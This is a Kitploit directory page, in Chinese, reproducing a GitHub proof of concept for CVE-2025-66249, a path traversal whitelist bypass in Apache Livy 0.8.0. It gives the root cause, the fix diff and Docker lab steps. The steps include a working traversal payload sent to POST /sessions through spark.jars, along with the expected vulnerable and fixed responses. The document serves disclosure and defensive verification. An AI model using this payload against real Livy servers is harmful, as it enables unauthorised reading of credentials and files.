Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-66249-POC — Apache Livy 路径遍历白名单绕过漏洞的 PoC | Kitploit
工具/GitHubGitHub/sid6224/cve-2025-66249-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

Apache Livy 路径遍历白名单绕过漏洞的 PoC

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-66249 — Apache Livy 路径遍历白名单绕过

CVE Livy Severity CWE Type License Platform Language

仅供教育和安全研究使用。请勿对您不拥有或未获明确书面许可的系统进行测试。→ 完整免责声明


概述

字段详情
CVE IDCVE-2025-66249
严重性重要(CVSS 不适用 — 截至 2026-03-15,NVD 评估待定)
影响版本Apache Livy 0.3.0-incubating 至 0.8.0-incubating — 仅当 livy.file.local-dir-whitelist 设置为非默认值时
修复版本Apache Livy 0.9.0-incubating
CWECWE-22: 路径名对受限目录限制不当('路径遍历')
披露日期2026-03-12 (OSS-Sec) / 2026-03-13 (NVD)
报告者Hiroki Egawa(发现者)

漏洞描述

拥有 Livy REST 或 JDBC 接口访问权限的认证用户可以提交一个 Spark 会话或批处理作业,其中包含精心构造的文件路径配置值,从而逃逸允许的目录白名单。

根本原因 — 白名单检查中的路径遍历绕过(Session.scala)

当配置了 livy.file.local-dir-whitelist 时,Livy 0.8.0 通过调用 Java 的 String.startsWith() 对原始、未规范化的路径进行验证。这种检查可以通过使用 ../ 遍历序列绕过:

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt

原始字符串以 /opt/safe-data 开头,因此检查通过——但路径实际解析为 /opt/sensitive/secret.txt,完全位于白名单目录之外。

触发条件: 仅当 livy.file.local-dir-whitelist 设置为**非默认(非空)**值时才能利用该漏洞。如果白名单为空(默认值),则完全跳过路径验证,该问题不会出现。

影响: 通过 Livy REST API 提交会话的攻击者可以引用 Livy 服务器主机上的任意本地文件。在共享分析集群中,这可能导致凭据、密钥、配置文件或 Livy 进程用户可读的任何数据泄露。


受影响的源文件

文件 — Session.scala

存在漏洞的版本(v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

修复版本(v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


源代码 — 克隆命令

两个版本均直接从官方 Apache Livy GitHub 仓库克隆,使用以下确切命令:

仓库: https://github.com/apache/incubator-livy

root@kitploit:~
# 存在漏洞的版本 — 克隆到 ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# 修复版本 — 克隆到 ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
版本标签

确切代码差异

修复 — Session.scala:在白名单检查前添加 Paths.get().normalize()

root@kitploit:~
 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Make sure the location is whitelisted before allowing local files to be added.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }

在 v0.8.0 中的影响: 原始字符串的 startsWith 检查可以通过路径遍历载荷绕过。

示例:如果 livy.file.local-dir-whitelist = /opt/safe-data

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt
  • v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true(绕过)
  • v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false(阻止)

差异通过本地克隆两个标签(见上文)并运行以下命令生成:

root@kitploit:~
diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

攻击向量总结

root@kitploit:~
攻击者(已认证的 REST/JDBC 用户)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← 路径以白名单前缀开头 — String.startsWith() 通过
    ← 但通过 ../ 遍历解析到目录之外
  }
}
    │
    ▼
Livy 0.8.0 — 白名单检查绕过(原始 startsWith,无规范化)
    │
    ▼
Spark 读取文件并分发给执行器
    │
    ▼
攻击者通过作业输出/日志获取文件内容

测试环境

本 PoC 中的所有步骤均已在以下系统上执行并验证:


目录结构

root@kitploit:~
CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

概念验证

概述

root@kitploit:~
docker/vulnerable/   →  镜像: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  镜像: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  单一脚本,在两个环境中原样运行

完整的端到端顺序 — 按顺序执行步骤 1 至 4:

root@kitploit:~
步骤 1: 构建存在漏洞的镜像  →  启动容器  →  验证 Livy 启动
步骤 2: 运行 validate.sh     →  确认存在漏洞(攻击 HTTP 201)   →  停止容器
步骤 3: 构建修复镜像        →  启动容器  →  验证 Livy 启动
步骤 4: 运行 validate.sh     →  确认已修复(攻击 HTTP 400)     →  停止容器

注意: docker run 后,Livy 需要大约 15–20 秒才能就绪。 以下所有步骤在进行任何 API 调用前都包含显式的 sleep 20。


步骤 1 — 构建并启动存在漏洞的环境(Livy 0.8.0 + Spark 3.1.3)

文件:

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal,Spark 3.1.3,Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — 绑定在 0.0.0.0:8998,本地模式,白名单 = /opt/safe-data

1a. 构建镜像:

root@kitploit:~
docker build -t cve-2025-66249-vulnerable docker/vulnerable/

验证 — 镜像已创建:

root@kitploit:~
docker images cve-2025-66249-vulnerable

预期输出:

root@kitploit:~
REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. 启动容器:

root@kitploit:~
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

验证 — 容器正在运行:

root@kitploit:~
docker ps --filter name=livy-vulnerable

预期输出:

root@kitploit:~
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. 等待 Livy 启动,然后验证 REST API:

Livy 需要约 15–20 秒初始化才能开始处理请求。

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

预期输出:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

1d. 验证容器内的目录布局:

确认白名单中的安全文件存在:

root@kitploit:~
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

预期输出:

root@kitploit:~
This file lives inside the whitelisted directory.

确认敏感文件存在于白名单之外:

root@kitploit:~
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

预期输出:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

步骤 2 — 对存在漏洞的环境运行验证

步骤 1 中的漏洞容器必须仍在端口 8998 上运行。

test/validate.sh 测试内容:

#攻击载荷键在 Livy 0.8.0 上的预期结果
1通过 Session.scala 中的 String.startsWith() 进行路径遍历spark.jars 包含 ../ 遍历HTTP 201 — 遍历绕过白名单

2a. 运行脚本:

root@kitploit:~
bash test/validate.sh

注意: validate.sh 工作方式如下:

  1. 轮询 GET /sessions 直到 Livy 响应(最多 60 秒),确认服务器就绪。
  2. 通过 curl 发送 POST /sessions 请求,包含精心构造的 conf 载荷,目标指向白名单之外的文件(/opt/sensitive/secret.txt),使用 ../ 遍历。
  3. 读取 HTTP 响应码:201 表示 Livy 接受了未规范化的路径(存在漏洞);400 表示 Livy 规范化后拒绝了路径(已修复)。
  4. 如果会话被创建(HTTP 201),脚本立即通过 DELETE /sessions/{id} 删除它,以保持服务器干净。
  5. 测试后输出摘要并以代码 1(存在漏洞)或 0(已修复)退出,便于在自动化流水线中使用。

预期输出:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT normalised — traversal bypasses whitelist check.

RESULT: VULNERABLE — exit code 1

2b. 停止并移除漏洞容器:

root@kitploit:~
docker stop livy-vulnerable && docker rm livy-vulnerable

验证 — 容器已完全移除:

root@kitploit:~
docker ps -a --filter name=livy-vulnerable

预期输出(空 — 无行):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

步骤 3 — 构建并启动修复环境(Livy 0.9.0 + Spark 3.1.3)

文件:

  • docker/fixed/Dockerfile — 相同的基础镜像和 Spark 3.1.3,仅 Livy 版本改为 0.9.0-incubating
  • docker/fixed/livy.conf — 与 docker/vulnerable/livy.conf 相同(相同白名单、端口、模式)

保持 Spark、基础镜像和所有配置与步骤 1 相同,将 Livy 作为唯一的变量。

3a. 构建镜像:

root@kitploit:~
docker build -t cve-2025-66249-fixed docker/fixed/

验证 — 镜像已创建:

root@kitploit:~
docker images cve-2025-66249-fixed

预期输出:

root@kitploit:~
REPOSITORY             TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-fixed   latest    <id>       <time>    <size>

3b. 启动容器:

root@kitploit:~
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed

验证 — 容器正在运行:

root@kitploit:~
docker ps --filter name=livy-fixed

预期输出:

root@kitploit:~
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-fixed   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-fixed

3c. 等待 Livy 启动,然后验证 REST API:

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

预期输出:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

3d. 验证容器内的目录布局:

修复容器使用与漏洞容器相同的测试文件——这确认两个环境之间唯一的变量是 Livy 版本。

确认白名单中的安全文件存在:

root@kitploit:~
docker exec livy-fixed cat /opt/safe-data/safe.txt

预期输出:

root@kitploit:~
This file lives inside the whitelisted directory.

确认敏感文件存在于白名单之外:

root@kitploit:~
docker exec livy-fixed cat /opt/sensitive/secret.txt

预期输出:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

步骤 4 — 对修复环境运行相同的验证

步骤 3 中的修复容器必须在端口 8998 上运行。 脚本相同 — 无更改。

步骤 2 和步骤 4 之间的变化:

  • 相同载荷,相同脚本
  • Livy 0.9.0 现在在检查白名单前使用 Paths.get().normalize() 规范化路径
  • 攻击被拒绝,返回 HTTP 400,会话被创建之前

4a. 运行脚本:

root@kitploit:~
bash test/validate.sh

预期输出:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path normalisation blocked the traversal.

RESULT: FIXED — exit code 0

错误消息确认的内容:

攻击HTTP错误消息已修复的根本原因
通过 spark.jars 进行路径遍历400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.

4b. 停止并移除修复容器:

root@kitploit:~
docker stop livy-fixed && docker rm livy-fixed

验证 — 容器已完全移除:

root@kitploit:~
docker ps -a --filter name=livy-fixed

预期输出(空 — 无行):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

推论

CVE-2025-66249 是白名单强制检查中一个单一的、有针对性的逻辑缺陷,该检查用于保护 Livy 的本地文件系统访问路径。

白名单(livy.file.local-dir-whitelist)存在于所有受影响版本中,并且配置正确。问题在于白名单的评估方式:

路径遍历绕过(唯一的弱点): Session.scala 中的白名单比较使用了 Java 的 String.startsWith() 对原始路径字符串进行检查。这对于文件系统路径比较是不够的,因为它没有考虑 .. 遍历段。像 /opt/safe-data/../sensitive/secret.txt 这样的路径满足了针对白名单条目 /opt/safe-data 的字符串检查,但实际解析到了完全不同的位置。

0.9.0 中的修复是微小且有针对性:在白名单比较前添加了一次对 Paths.get().normalize() 的调用。这会在 startsWith 检查运行之前解析所有 .. 段,因此遍历载荷能被正确识别为指向允许目录之外。

对防御者的关键提示: 仅当 livy.file.local-dir-whitelist 设置为非空值时,漏洞才可被利用。虽然这意味着默认配置不会直接受到攻击,但任何已经收紧白名单(即明确限制 Livy 可以访问的目录)的部署反而暴露出来——因为正是白名单的存在激活了有缺陷的代码路径。升级到 Livy 0.9.0-incubating 是唯一完整的修复措施。


参考资料

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66249
  • OSS-Sec 披露: http://www.openwall.com/lists/oss-security/2026/03/12/2
  • Apache 邮件列表: https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
  • Apache Livy 项目: https://livy.apache.org/

致谢

  • Hiroki Egawa — CVE-2025-66249 的原始报告者,向 Apache 安全团队报告。
  • Apache Livy 维护者 — 及时分类并在 v0.9.0-incubating 中进行了针对性修复。
  • Apache 安全团队 — 协调负责任披露流程。
  • OSS-Sec 社区 — 提供公开披露线程,使独立分析成为可能。

贡献

欢迎改进此 PoC 或文档的贡献!请确保任何贡献:

  • 遵循负责任披露实践
  • 包含适当的免责声明
  • 不包含教育演示以外的恶意代码
  • 保持教育价值

要贡献,请提交 Pull Request 或提交 Issue 描述建议的更改。


许可证

本项目采用 MIT 许可证。


免责声明

本仓库仅供教育和安全研究使用。概念验证演示了漏洞机制以帮助理解和防御措施。请勿对您不拥有或未获明确书面许可的系统进行测试。


标签

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security

下载工具
解析的提交
本地路径
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/
组件详情
主机操作系统Ubuntu 24.04.4 LTS (Noble Numbat)
内核6.17.0-14-generic x86_64
架构x86_64
总内存15 GiB
Docker 引擎28.2.2
主机 JDKOpenJDK 17.0.18(仅主机使用 — 容器使用 eclipse-temurin:11-jdk-focal)
容器基础镜像eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Spark 版本(两个镜像)3.1.3 with Hadoop 3.2
Livy 版本 — 存在漏洞的镜像0.8.0-incubating
Livy 版本 — 修复镜像0.9.0-incubating
在 Session.scala 中添加了 Paths.get(...).normalize();在白名单比较前解析 ../
string-startswith-bypass
path-normalisation